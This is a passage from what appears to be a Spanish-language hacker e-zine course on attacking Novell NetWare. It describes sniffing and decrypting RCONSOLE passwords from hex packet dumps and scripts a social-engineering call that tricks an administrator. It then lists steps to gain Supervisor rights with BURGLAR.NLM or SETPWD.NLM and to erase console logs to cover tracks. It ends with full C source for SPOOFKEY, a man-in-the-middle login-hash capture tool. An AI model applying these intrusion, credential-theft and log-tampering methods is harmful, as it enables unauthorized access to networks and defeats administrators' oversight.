inicializacion. La mayor parte de la informacion de este articulo se refiere

a items tecnicos basados en hechos predicibles y repetitivos. Pero capturar

los datos usando un sniffer puede ser bastante dificil. Estan en juego

tres factores :

 

 - Accesibilidad.

 - Disponibilidad.

 - Tiempo.

 

 

Accesabilidad

-------------

 

Debes tener acceso a la red. Especificamente, necesitas acceder en el segmento

del server o en el segmento de la victima, de otra forma jamas podras oir la

conversacion. A pesar de que es posible acceder en el segmento a traves del

cual pasa el trafico, es mejor situarse en el segmento de la victima. La mejor

forma es conectarse en el server al cual se conecta la victima y teclear

USERLIST /A. Del listado que veras, podras extraer la direccion de la red y

del nodo. La direccion de la red es el segmento donde esta la victima, y el

nodo es el numero hexadecimal de 12 digitos de la tarjeta de conexion fisica

del PC (NIC), tambien conocido como MAC o Media Acces Control.

 

Desde luego, asumo que tienes acceso fisico a la red. Es posible telefonear a

una LAN utilizando pcAnywhere, instalar un sniffer basado en DOS y capturar

los paquetes. Tambien es posible arrancar una caja UNIX y lanzar un sniffer

que ponga la tarjeta de red en modo promiscuo (para explicar esto, hace falta

un articulo entero). No entrare en detalles, pero tienes que asumir que el

Administrador no tiene en este despacho los derechos del pcAnywhere de

conexion telefonica, o no podras hacerlo a traves del firewall.

No hay nada peor que conectarse telefonicamente a la LAN utilizando pcAnywhere

y tener al Admin viendo cada cosa que haces debido a que la maquina esta

al otro lado del despacho del Admin !!!

 

Disponibilidad

--------------

 

Lanzar un sniffer es un trabajo que utiliza la CPU de una manera intensiva

La CPU debe ser suficientemente rapida para copiar toda la informacion del

buffer del NIC a la RAM sin perder ningun paquete. Si tu sniffer filtra la

informacion, o sea si mira en ele interior de cada paquete y solo guarda los

que cumplen ciertos criterios, entonces debe ser todavia mas rapida.

Algunos de vosotros deben haberse dado cuenta que es un trabajo de titanes.

Tienes que lanzar un sniffer en un PC que pueda manejar una cantidad decente

de la actividad de la CPU, conectado a una red especifica y permitir correr

sin que nadie se aperciba. Esto significa que no puedes tomar un viejo 286 y

esperar maravillas. Hace falta un hardware decente.

 

Despues tienes que esperar que tu sniffer basado en DOS soporte cualquier

tipo de tarjeta y que pueda configurarse en modo promiscuo. Un sniffer

muy comun es Gobbler, que funciona con la mayor parte de las tarjetas

Ethernet con pocos trucos. Sino, te hace falta un driver que permita el modo

promiscuo en la tarjeta que utilices.

 

Si es una ventana UNIX, particularmente si es un server, es posible con

el acceso adecuado poner la tarjeta de red en modo promiscuo. Yo prefiero

server UNIX que workstation, debido a que normalmente se encuentran en el

mismo segmento.

 

 

Tiempo (o momento de la escucha)

------

Es la mas duro. Si tienes los requisitos anteriores, te queda una parte

dificil .... capturar los paquetes interesantes. Puede hacerse de dos maneras

Primero a traves de alguna ingenieria social creandote la necesidad para que

el Admin lance el RCONSOLE, o puedes filtrar todos los paquetes hasta

encontrar el que contiene la password.

 

El primero es dificil pero no imposible. Haciendose pasar como empleado

nuevo, llama al Admin y dile que estas intentando conectarte y que recibes

el mensaje "El SUPERVISOR ha deshabilitado la funcion LOGIN". Para arreglarlo

lo normal es teclear ENABLE LOGIN en la consola. El Admin, invariablemente

lanzara RCONSOLE para corregir el problema y tu tendras la informacion. Te

dira que todo marcha bien y tu responderas que el problema esta en tu PC y te

pedira que lo arranques de nuevo, con la impresion de que todo esta correcto

te dira "Todo debera ir bien, si tienes un problema no dudes en llamarme"

y colgara. Bien, tienes tu paquete

 

El segundo metodo depende de tu sniffer. Si puede analizar paquetes en tiempo

real, hazle capturar solo los que viajen entre el PC del Admin y el server,

y solo salva los SPX. Si solo dispones de utilidades de mascara, utiliza la

informacion detallada de identificacion de paquetes para encontrar la

mascara especifica de tu sniffer. Encontraras informacion al final de este

articulo.

 

Una nota final acerca de accesibilidad, disponibilidad y tiempo. Un portatil

con tarjeta PCMIA Ethernet con software de sniffer y capacidad de filtrado

te dara toda la informacion. Los hackers serios utilizan portatiles con

Lanalyzer o Network General's Sniffer con tecnicas similares a las que

aparecen en el articulo de Voyager "Janitor Privileges" en el numero de

invierno 94-95 de 2600.

 

 

Analizando los paquetes

-----------------------

 

Una vez hemos capturado los paquetes de la victima, tienes que ser capaz de

examinar su contenido y interpretarlo. Tienes que ser capaz de encontrar los

paquetes que provienen de la victima y se dirigen al server. Segun el sniffer

que utilices, puede ser mas o menos dificil. La mayor parte de los sniffers

de alto precio te permitiran filtrar en funcion del tipo de direccion y de

paquete, y esta utilidad te sera de gran ayuda para encontrar exactamente

lo que necesitas. Pero en soluciones freeware o shareware, puede significar

que tengas poca o ninguna capacidad de filtrado, y esto significa mirar un

monton de dumps en hex.

 

Pero aqui asumimos que sabes como utilizar tu sniffer (o conseguir el dump

a partir de la tarjeta de red) y como minimo encontrar la conversacion

entre victima y server. Para ayudarte a encontrar estos paquetes,

discutiremos los caminos para encontrar las direcciones.

 

A continuacion los tres primeros paquetes que se envian despues de que la

victima ha pulsado enter despues de entrar la password

 

Paquetes Ethernet enviados desde la victima hacia el server para

establecer la conexion SPX

 

 

ADDR  OFFSET

BASE  00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F

----  -- -- -- -- -- -- -- --  -- -- -- -- -- -- -- --

0000  00 80 29 00 34 35 00 00  A2 00 3D 77 00 2A FF FF

0010  00 2A 04 05 00 00 00 03  00 00 00 00 00 01 81 04

0020  00 00 00 02 02 60 8C A7  E9 AA 50 0E C0 00 44 00

0030  FF FF 00 00 00 00 00 06  ED 05 00 00

 

El server responde:

 

ADDR  OFFSET

BASE  00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F

----  -- -- -- -- -- -- -- --  -- -- -- -- -- -- -- --

0000  00 00 A2 00 3D 77 00 80  29 00 34 35 00 2A FF FF

0010  00 2A 01 05 00 00 00 02  02 60 8C A7 E9 AA 50 0E

0020  00 00 00 03 00 00 00 00  00 01 81 04 80 00 90 82

0030  44 00 00 00 00 00 00 00  08 00 5A 7F

 

Y la password se envia:

 

ADDR  OFFSET

BASE  00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F

----  -- -- -- -- -- -- -- --  -- -- -- -- -- -- -- --

0000  00 80 29 00 34 35 00 00  A2 00 3D 77 00 AC FF FF

0010  00 AC 04 05 00 00 00 03  00 00 00 00 00 01 81 04

0020  00 00 00 02 02 60 8C A7  E9 AA 50 0E 40 00 44 00

0030  90 82 00 00 00 00 00 06  FE FF 47 45 5A 4D 4C 24

0040  8C 9C 8A 3A B3 46 33 25  13 15 6E 94 94 4F C0 5B

0050  08 14 A5 0A 70 E5 F2 0B  F4 70 AA 03 FA 3F C4 88

0060  C0 79 FF 85 CB 0B 27 56  B6 D3 CF 8E 2D 9F 7D 25

0070  85 25 7C E8 B3 95 29 AF  8C 8E 4E 11 EE F7 37 8C

0080  35 C4 AD A3 F9 80 18 4E  0C CD 9E 26 0B 65 2A 3B

0090  1A 1E F4 AD 43 BB 6E 06  35 8C 49 3B 3B 3A B6 00

00A0  39 CB 17 6B C2 5C 63 38  D1 0B 3C A0 EB B0 40 66

00B0  87 DE E6 3E 1C 2A 12 FC  A2 37                 

 

Para explicar un poco lo que esta pasando, miremos lo que hay en cada

paquete. Empecemos por el primero.

 

 

Del Offset 00h al 0Dh es la capa Data Link Control :

 

ADDR  OFFSET

BASE  00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F

----  -- -- -- -- -- -- -- --  -- -- -- -- -- -- -- --

0000  00 80 29 00 34 35 00 00  A2 00 3D 77 00 2A        De 00h hasta 0Dh

                                                        es la capa Data Link

                                                        Control.

 

0000                                             FF FF  Inicio de IPX ,

0010  00 2A 04 05                                       FF FF es un checksum

                                                        10h y 11h es la

                                                        longitud del IPX

                                                        12h es el control de

                                                        transporte, 13h es

                                                        el tipo de paquete IPX

                                                        (05 is SPX).

 

0010              00 00 00 03  00 00 00 00 00 01 81 04  14h hasta 1Fh es el

                                                        destino del paquete

                                                        con el socket. Los

                                                        server Netware son

                                                        siempre

                                                        00 00 00 00 00 01.

 

0020  00 00 00 02 02 60 8C A7  E9 AA 50 0E              20h hasta 29h es el

                                                        origen del

                                                        paquete

 

0020                                       C0 00 44 00  2Ch inicia la seccion

                                                        SPX con 2Ch el tipo

                                                        de  control, 2Dh el

                                                        tipo de datastream, y

                                                        2Eh y 2Fh la ID SPX

                                                        del origen de la

                                                        conexion.

 

0030  FF FF 00 00 00 00 00 06                           30h y 31h son la

                                                        ID del destino

                                                        de la conexion

                                                        FF FF es una

                                                        publicacion o el 1er

                                                        paquete SPX en esta

                                                        conversation. EL

                                                        siguiente par de 3 byte

                                                        son el numero de

                                                        secuencia,

                                                        el numero de acuerdo

                                                        y el numero de

                                                        allocation.

 

0030                                       ED 05 00 00  La longitud minima de

                                                        un packet sera 60

                                                        bytes, si no hay 

                                                        datos los ultimos

                                                        4 bytes son

                                                        rellenados con

                                                        basura.

 

FORMA DE COMPARAR MODELOS

-------------------------

Si eres afortunado y tu sniffer soporta comparacion de modelos, hay algunos

puntos a analizar.

 

1. Busca el modelo FF FF xx xx xx 05 para localizar el comienzo de un

   paquete SPX que empiece en el offset 0Eh.

2. La direccion del server empieza en el offset 14h, en el ejemplo anterior

   00000003:000000000001 con un socket IPX igual a 8104. Todas las

   conversaciones IPX usan numeros socket IPX, por tanto el modelo cuadra

   de 14h a 1Dh.  

3. La direccion de la victima empieza en el offset 20h, en el ejemplo anterior

   es 00000002:02608CA7E9AA con un socket IPX de 500E. El modelo debe situarse

   entre 20h y 29h.

 

Con esta informacion tienes que ser capaz de identtificar un paquete IPX

cuando pasa delante tuyo e identificar las direccones del servidor y de

la victima. Utilicemos esta informacion para identificar el tercer paquete,

el que contiene el password.

 

ADDR  OFFSET

BASE  00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F

----  -- -- -- -- -- -- -- --  -- -- -- -- -- -- -- --

0000  00 80 29 00 34 35 00 00  A2 00 3D 77 00 AC FF FF

0010  00 AC 04 05 00 00 00 03  00 00 00 00 00 01 81 04

0020  00 00 00 02 02 60 8C A7  E9 AA 50 0E 40 00 44 00

0030  90 82 00 00 00 00 00 06  FE FF 47 45 5A 4D 4C 24

0040  8C 9C 8A 3A B3 46 33 25  13 15 6E 94 94 4F C0 5B

0050  08 14 A5 0A 70 E5 F2 0B  F4 70 AA 03 FA 3F C4 88

0060  C0 79 FF 85 CB 0B 27 56  B6 D3 CF 8E 2D 9F 7D 25

0070  85 25 7C E8 B3 95 29 AF  8C 8E 4E 11 EE F7 37 8C

0080  35 C4 AD A3 F9 80 18 4E  0C CD 9E 26 0B 65 2A 3B

0090  1A 1E F4 AD 43 BB 6E 06  35 8C 49 3B 3B 3A B6 00

00A0  39 CB 17 6B C2 5C 63 38  D1 0B 3C A0 EB B0 40 66

00B0  87 DE E6 3E 1C 2A 12 FC  A2 37                 

 

Todo lo que necesitamos es la direccion de la red (de 20h a 23h), la

direccion del nodo (de24h a 29h) y la password encriptada. En la seccion

que empieza en 38h, 38h siempre es FE y 39h es FF. Los 8 bytes siguientes

son la password. Hay muchos mas, pero solo estos dicen algo.

 

Utilizando RCON

---------------

 

En el ejemplo anterior, la password es 47455A4D4E248C9C, la red es

00000002 y le nodo es 02608CA7E9AA. Ahora ya puedes lanzar RCON de

la forma siguiente:

 

RCON 47455A4D4E248C9C 00000002 02608CA7E9AA

 

y recibiras la siguiente respuesta:

 

decrypted pw:

0000 : 47 45 5a 4f 4e 44 00 3b e9 aa 15 15 15 17 17 75  - GEZOND.;Ú¬.....u

node address after encryption:

0000 : 11 11 11 13 13 71 9d b8 e5 a6                    - .....qØ©Ơª     

 

Como puedes ver la password de RCONSOLE es "GEZOND".

 

El Paso Siguiente

-----------------

 

Debes de tener en cuenta algunas cosas cuando accedes a la consola de forma

remota. Cuando utilices RCONSOLE, todas tus actividades seran registradas

Por tanto en cuanto obtengas la password no se te ocurra lanzarte a utilizarla

sin planear tus acciones y como cubrir tus trazas. Y para cubrir tus trazas

debes conseguir acceso al archivo del sistema.

 

Una nota rapida. Como la password del Supervisor siempre funciona con RCONSOLE

intenta conectarte como Supervisor con la password que has descubierto. Si lo

consigues, felicidades. Tienes acceso al archivo del sistema.

 

No dare muchos detalles , pero hay muchas tecnicas para conseguir el acceso

como Supervisor. Todas las que a continuacion voy a explicar, implican cargar

modulos NLMs y despues lanzarlos. RCONSOLE tiene una opcion para cargar

archivos en el server (Pulsa * en el teclado y selecciona la opcion de

transferir archivos en el server).Inmediatamente despues se debe descargar

el NLM utilizado para conseguir el acceso para borrar tus trazas.

A continuacion un rapido ejemplo, una vez mas asumimos algunos conocimientos

generales de la administracion de Netware.

 

1. En la consola teclea UNLOAD CONLOG. Si esta cargado CONLOG, toda respuesta

   a un comando tecleado en la consola se escribe en un archivo. El

   CONLOG.NLM, viene con 4.x pero funciona con 3.x

 

2. Carga BURGLAR.NLM y crea un nuevo usuario con derechos de Supervisor, o

   carga SETPWD.NLM y resetea la password de un usuario que tiene derechos de

   Supervisor (BURGLAR.NLM y SETPWD.NLM se encuentran en Internet)

 

3. Sal de RCONSOLE y haz login.

 

4. Borra BURGLAR.NLM o SETPWD.NLM y purgalos del sistema.

 

5. Si CONLOG esta cargado, busca y borra o edita el archivo CONSOLE.LOG

   para borrar tus actividades. Borra o edita SYS$LOG.ERR para eliminar

   tus trazas. Si los borras, purgalos despues. Si los editas, utiliza

   FILER para devolverles sus atributos iniciales

 

Desde luego el mas tonto de los administradores se dara cuenta que CONLOG

no esta cargado, si creo que alguien se dara cuenta, yo rearranco el

server corriendo un archivo NCF con las lineas siguientes.

 

REMOVE DOS

DOWN

EXIT

 

Cuando lanzo este archivo, me mantengo remotamente conectado a la consola

por si fuera necesario contestar "Si" a algun tipo de pregunta "Estas

seguro ? ...." Si tienes necesidad de mas informacion de como crear y

lanzar archivos NCF, hay cientos de libros que hacen referencia a esto.

 

 

Conclusiones

------------

 

Bien, la primera conclusion es que la utilidad RCONSOLE no es muy segura.

Si eres administrados, la unica forma de evitar este tipo de ataques es

actualizarte a 4.x y utilizar paquetes firmados. Desde luego los otros

items a tener en cuenta son :

 

1. Te hace falta tiempo y acceso, ..y el momento adecuado.

2. Debes tener un par de utilidades (SETPWD.NLM,..) para conseguir el

   acceso total.

3. Es recomendable trabajar rapido.

 

 

Divertiros y feliz  hacking.

 

[ Gracias a itsme por la codificacion de RCON.EXE y a Jeff Carr por

asistirnos en las pruebas de las tecnicas aqui descritas.

RCON.EXE puede encontrarse en ftp.fastlane.net directorio /pub/nomad/nw ]

 

 

---------------------------------------------------------------------------

 

Apendice dos - Codigos fuente y documentacion diversa

 

A-02. Codigo fuente de SPOOFKEY

 

Los comentarios de Greg estan en el mismo codigo...

(Traduccion madfran)

 

---------------------------------------------------------------------------

 

<++> set_020/curso_novell/spoofkey.c

/*          SPOOFKEY.C (C) 1996 by Greg Miller (libre distribucion)     */

 

/*  Aqui utilizamos un fallo en la inplementacion del numero de la

secuencia para implementar un ataque MITM (Man In The Middle, Hombre En Medio)

en el protocolo login del Netware (modo bindery).  El truco nos

permite implementar el ataque en una maquina que se encuentre entre

el PC atacado y el server.

*/

 

/*

 Este programa implementa el ataque descubierto por

 David Wagner <daw@cs.berkeley.edu>. 

 

 Antes de lanzar el programa necesitas :

  (1) Un buen fichero de palabras (ftp://sable.ox.ac.uk/pub/wordlists)

  (2) Convertir la lista en una lista hash

     (http://grendel.ius.indiana.edu/~gmiller/)

  (3) editar la variable SpoofStation[] para poner el numbre del PC

      que quieres atacar.

Despues de lanzar el programa, se vera el hash.

Comparalo con tu lista de hash que has generado antes y tendras la

correspondencia con la password para conectarte.

 

 El ataque falsea tanto la ID de la victima como el valor random generado

por el server cuando el PC intenta conectarse. Esto es lo que permite al

atacante utilizar una lista hash pre-generada como posibles passwords.

Aqui hemos utilizado un valor aleatorio de FFFFFFFFFFFFFFFF y un ID de

FFFFFFFF.

*/

 

 

/*

NOTA: Deberas utilizar una maquina bastante rapida para interceptar

la respuesta del server. Parece facil, pero no lo es a menos que el server

se encuentre sobrecargado. Tambien tendras problemas si se pierden las

peticiones del PC. Bien,.... parece que este programa necesita de alguna

optimizacion

*/

 

/*

NOTA: El PC intentara dos login. Uno sin password, y el segundo con

una peticion de login verdadera. Este es el motivo por el cual veras dos

hashes en la pantalla en lugar de uno. El segundo es el unico de tu

interes.

*/

 

/*

NOTA: Este programa solo funcionara en servers 3.x, o un server 4.x

cuando el PC que se quiere conectar lo haga en modo bindery.

*/

 

#include <stdio.h>

#include <string.h>

#include <conio.h>

 

#define TRUE -1

#define FALSE 0

 

//Tipo de paquete IPX en una trama 802.3

#define PACKET_TYPE 19

 

//Tipo de funcion NCP en una trama 802.3

#define FUNCTION_CODE 50

 

//Tipo de subfuncion NCP en una trama 802.3

#define SUBFUNC_CODE 53

 

//Plantilla para una password hasheada en un cliente NCP

//para peticion de login en una trama 802.3

#define KEY_OFFSET 52

 

typedef unsigned char BYTE;

typedef unsigned int WORD;

typedef unsigned long DWORD;

 

int DataRemaining = TRUE;

int x;

 

BYTE packet[2000];

BYTE SendPacket[2000];

 

WORD handle;

int packet_received = FALSE;

int NotDone = TRUE;

 

/* Cambia estas variables para reflejar el PC que estas

   atacando. Tambien podrias cambiar los valores spoof

   por alguno de estos motivos:

   1. Para evitar el uso de un programa de deteccion automatico

   2. Para evitar que algun otro, utilizando un sniffer y la

      misma lista de palabras, te robe la password al vuelo.

*/

 

BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21};

BYTE SpoofID[4] = {0xff,0xff,0xff,0xff};

BYTE SpoofKey[8] = {0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};

 

int c;

WORD pktlen;

WORD Sendpktlen;

 

void Initialize(){

}

 

/*En realidad, las funciones para los driver API deberian estar en un

  archivo separado, pero los he incluido aqui para facilitar la

  distribucion

*/

 

static void far PacketReceived(){

 

        /*Esta funcion es llamada por el driver de los paquetes cuando se

          recibe un nuevo paquete. Si AX=0 cuando se llama a la funcion.

          el driver pone el paquete en el buffer. Si AX=1 significa que

          el paquete ya ha sido copiado en el buffer.

        */

 

        _asm{

                pop di          //Borland C 3.1 pone DI por algun motivo.

                                //Quita esta linea si tu compilador

                                // no lo hace.

 

                cmp ax,1        //ax=0 para tomar buffer o 1 cuando sea

                jz copy_done

 

                mov ax,seg packet

                mov ES,ax

                lea DI,packet

                mov cx,2000     //longitud del buffer

                retf

        }

 

copy_done:

        packet_received = TRUE;

        pktlen=_CX;

 

        _asm{retf}

end:

}

 

void RegisterWithPKTDRV(){

 /*Esta funcion registra la "pila de protocolo" con el driver.

   Le damos la direccion de la funcion a llamar cuando se recibe un

   paquete en ES:DI, la clase de interface en AL, y el tipo de

   interface en BX. DS_SI tiene que apuntar al tipo de paquetes que se

   quieren recibir, con su longitud wn CX, sin embargo, si queremos

   recibir cualquier tipo de paquetes debemos dejar DS:SI solo y

   poner CX=0.

   Almacenamos el valor en AX con INT 60h, para posteriores usos.

        */

 

        _asm {

                pusha

 

                mov bx,0ffffh  //Comodin para cualquier interface

                mov dl,0

                mov cx,0    //recive cualquier tipe de paquetes

                mov ax, seg PacketReceived

                mov es,ax

                lea di, PacketReceived

                mov ah,02

                mov al,01   //tipo de clase para 3com 509

                int 60h

                jc err

 

                mov handle,ax

 

                popa

        }

 

        printf("Registered with packet driver\r\n");

        return;

err:

        printf("Error registering stack: %d\r\n",_DH);

        _asm{popa}

 

}

 

void RelinquishProtocolStack(){

 

   /* Control de la interface y desenganche de la funcion

      de recepcion de paquetes

   */

 

        /*Release Type*/

        _asm{   pusha

 

                mov ah,3

                mov bx,handle

                int 60h

                jc err

            }

 

 

        /*Terminate driver for handle*/

        _asm{

                mov ah,5

                mov bx,handle

                int 60h

                jc err

 

                popa

        }

 

        printf("Stack Relinqushed\r\n");

        return;

err:

        printf("Error releasing Stack: %d",_DH);

}

 

void EnterPromiscuousMode(){

 

/*Esta funcion pone la tarjeta de red en modo promiscuo al colocar

  el modo de recepcion en CX y el manejador en BX. El modo 6 es

  promiscuo. Esto obliga a que la interface reciba todos los paquetes

  de la red.

  El hacker debe tener en cuenta que algunas tarjetas de red envian

  paquetes a la red para anunciar que han pasado a modo promiscuo.

  Cuando esto sucede, la direccion MAC real se publica en la red para

  que todas la vean. Esto puede permitir a otro, identificar que un

  ataque esta ocurriendo, y el origen del mismo.

  Si tu tarjeta no tiene esta opcion (muchas no la tienen), el ataque

  puede pasar desapercibido.

*/

        _asm{

                pusha

 

                mov ah,14h

                mov bx,handle

                mov cx,6

                int 60h

                jc err

 

                popa

        }

 

        printf("Promiscuous mode set\r\n");

        return;

err:

        printf("Error entering promiscuous mode: %d\r\n",_DH);

        _asm{popa}

}

 

void printhex(BYTE d){

/*Un mecanismo Hock para escribir dump en HEX, Si, hay otros

  mucho mejores sistemas de hacerlo

 */

 BYTE temp;

 _asm{

  mov al,d

  shr al,1

  shr al,1

  shr al,1

  shr al,1

  and al,0fh

  add al,90h

  daa

  adc al,40h

  daa

 }

 temp=_AL;

 printf("%c",temp);

 _asm{

  mov al,d

  and al,0fh

  add al,90h

  daa

  adc al,40h

  daa

 }

 temp=_AL;

 printf("%c ",temp);

}

 

void SendPack(){

 /*Pone una trama ethernet en la red. El tremble, etc no se incluyen

   pero la direccion hardware si. Esto permite falsear nuestra direcion

   a nivel de hardware.

 

   A pesar de que Netware no mira que direccion hardware es, implementar

   el ataque de este modo evita que se pueda trazar el ataque hasta tu

   maquina

      */

 

        _asm{   pusha

 

                mov ax,seg SendPacket

                mov ds,ax

                lea si,SendPacket

                mov cx,Sendpktlen

                mov ah,04

                int 60h

 

                jc err

 

                popa

        }

        printf("Sending:\r\n");

        for(c=0;c<pktlen;c++){printhex(packet[c]);}

        printf("\r\n");

        return;

err:

        printf("Error sending packet: %d\r\n",_DH);

        _asm{popa}

}

 

void SendEncryptionKeyReply(){

 

/* Estamos detectando la peticion del cliente de una llave encriptada

   al server. Nosotros enviaremos nuestra llave falsa al cliente, con

   suerte antes que lo haga el server. Si lo conseguimos, el cliente

   ignorara la clave del server y utilizara la nuestra.

   Para que esto ocurra, tenemos que utilizar el correcto numero de

   secuencia en la respuesta. Con NCP, los numeros de secuencia son

   meros contadores de los paquetes enviados. Cuando el cliente envia

   una peticion, la respuesta usa el mismo numero que recibio. Debido

   a la estructura del protocolo NCP, no es necesario ningun acuse de

   recibo.

   Esto hecho permite la sincronizacion de server y cliente y hace el

   ataque mucho mas facil. En caso de utilizarse protocolo TCP, el

   codigo seria diferente.

  */

 

        memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr

        memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr

 

        //Pon la longitud de 802.3 aqui.

 

        SendPacket[12]=00;

        SendPacket[13]=0x2e;

 

        memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock

        memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock

        SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum

        SendPacket[16]=0;SendPacket[17]=0x2e;    //IPX Length

        SendPacket[18]=1;                        //Hop Count

        SendPacket[19]=17;  //Packet type = NCP

        SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type

        memcpy(SendPacket+46,packet+46,4);  //Seq num,con num,task,con num hi

        SendPacket[50]=0;  //Completion code

        SendPacket[51]=0;  //Connection Status

 

        memcpy(SendPacket+52,SpoofKey,8);  //Key

 

        Sendpktlen = 60;

        printf("Spoofing Encryption Key Reply\r\n");

        SendPack();

}

 

void SendIDReply(){

 

   /*Estamos copiando una peticion del cliente para obtener un UID

     Nosotros enviaremos nuestro falso UID de la misma forma

   */

 

        memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr

        memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr

 

        SendPacket[12]=0;       //802.3 length hi

        SendPacket[13]=0x5c;    //802.3 length lo

 

        memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock

        memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock

        SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum

        SendPacket[16]=0;SendPacket[17]=0x5c;    //IPX Length

        SendPacket[18]=0;                        //Hop Count

        SendPacket[19]=17;  //Packet type = NCP

        SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type

        memcpy(SendPacket+46,packet+46,4);  //Seq num,con num,task,con num hi

        SendPacket[50]=0;  //Completion code

        SendPacket[51]=0;  //Connection Status

 

        memcpy(SendPacket+52,SpoofID,4);  //ID

 

        SendPacket[56]=packet[54];SendPacket[57]=packet[55];  //Object type

        memset(SendPacket+58,'\000',47);

        memcpy(SendPacket+58,packet+57,packet[56]);           //Object name

 

        Sendpktlen=105;

        printf("Spoofing ID Reply\r\n");

        SendPack();

}

 

void WaitForPacket(){

 while(!packet_received){

 if (kbhit()) NotDone = FALSE;

 }

 

// for(c=0;c<pktlen;c++){printhex(packet[c]);}

// printf("\r\n");

 

 packet_received=FALSE;

}

 

void WaitForStationLoginRequest(){

 

  /*Este es el bucle principal del programa, aqui se produce

    el ataque. Cuando el usuario teclea su nombre de usuario

    el cliente intenta conectarse con un password NULL.

    si el login fracasa, el usuario recibe un mensaje solicitando

    el password. Esto se hace asi, porque tenemos que suplantar

    la llave y el UID dos veces para asegurar que recibimos

    ambas peticiones. Este es el motivo del bloque for() {...}

 

    El protocolo de login de Netware es el siguiente :

    1. El cliente envia una peticion para una llave de login.

       Y el server responde enviando un numero aleatorio de

       8 bytes al cliente.

    2. El cliente envia una peticion para una identificacion de

       usuario (ID). El server responde enviando la ID al cliente

    3. El cliente calcula una funcion del tipo f(UID, llave, password) y

       envia este valor al server como peticion para un login.

       El server ejecuta el mismo calculo, si el valor recibido desde

       el cliente es igual, el server acepta al cliente.

 

    Como, hemos falsificado la UID y la llave, la funcion f() producira

    siempre el mismo valor para la misma password.

    Este el motivo por el cual hemos pregenerado una lista de hashes

    utilizando una base de datos de palabras de paso comunes.

    La base de datos generada puede contener un mapeo desde el hash a

    la password. Ya que la mayor parte de la gente utiliza una unica

    palabra como password, esta base de datos puede generarse rapidamente

    con un PC. Despues es solo cuestion de buscar en la base de datos hash

    para obtener la password.

       

    Debido al pobre dise¤o de la funcion hash por parte de Netware, es

    posible que mas de una password tanga la misma hash. Ello no significa

    que las passwords sean equivalentes. Tienes que probarlas manualmente

    hasta encontrar la correcta.

      */

 

 for(x=0;x<2;x++){

 

    /*Espera para la peticion de login key y falsificacion de la misma*/

 

        printf("Waiting for key request\r\n");

        while(NotDone){

                WaitForPacket();

                  if((memcmp(packet+6,SpoofStation,6)==0) &&

                    (packet[PACKET_TYPE]==17) &&

                    (packet[FUNCTION_CODE]==23) &&

                    (packet[SUBFUNC_CODE]==23)){

                     NotDone = FALSE;

                  }

        }

        SendEncryptionKeyReply();

 

 

       /*Espera para la peticion de ID y falsificacion */

 

        printf("Waiting for ID request\r\n");

        NotDone = TRUE;

        while(NotDone){

                WaitForPacket();

                if(memcmp(packet+6,SpoofStation,6)){

                  if((packet[PACKET_TYPE]==17) &&

                   (packet[FUNCTION_CODE]==23) &&

                   (packet[SUBFUNC_CODE]==53)){

                   NotDone = FALSE;

                  }

                }

        }

        SendIDReply();

 

        /*Espera para la peticion de login y envio del hash*/

 

        printf("Waiting for login request\r\n");

        NotDone = TRUE;

        while(NotDone){

                WaitForPacket();

                if(memcmp(packet,SpoofStation+6,6) &&

                  (packet[PACKET_TYPE]==17) &&

                  (packet[FUNCTION_CODE]==23) &&

                  (packet[SUBFUNC_CODE]==24)){

                  NotDone = FALSE;

                }

        }

        printf("Hash Received\r\n");

        for(c=KEY_OFFSET;c<KEY_OFFSET+7;c++){printhex(packet[c]);}

        printf("\r\n");

 }

}

 

void main(){

 

        Initialize();

 

        RegisterWithPKTDRV();

        EnterPromiscuousMode();

 

        WaitForStationLoginRequest();

 

        RelinquishProtocolStack(); /*Toggles prom mode off*/

 

}

<-->

---------------------------------------------------------------------------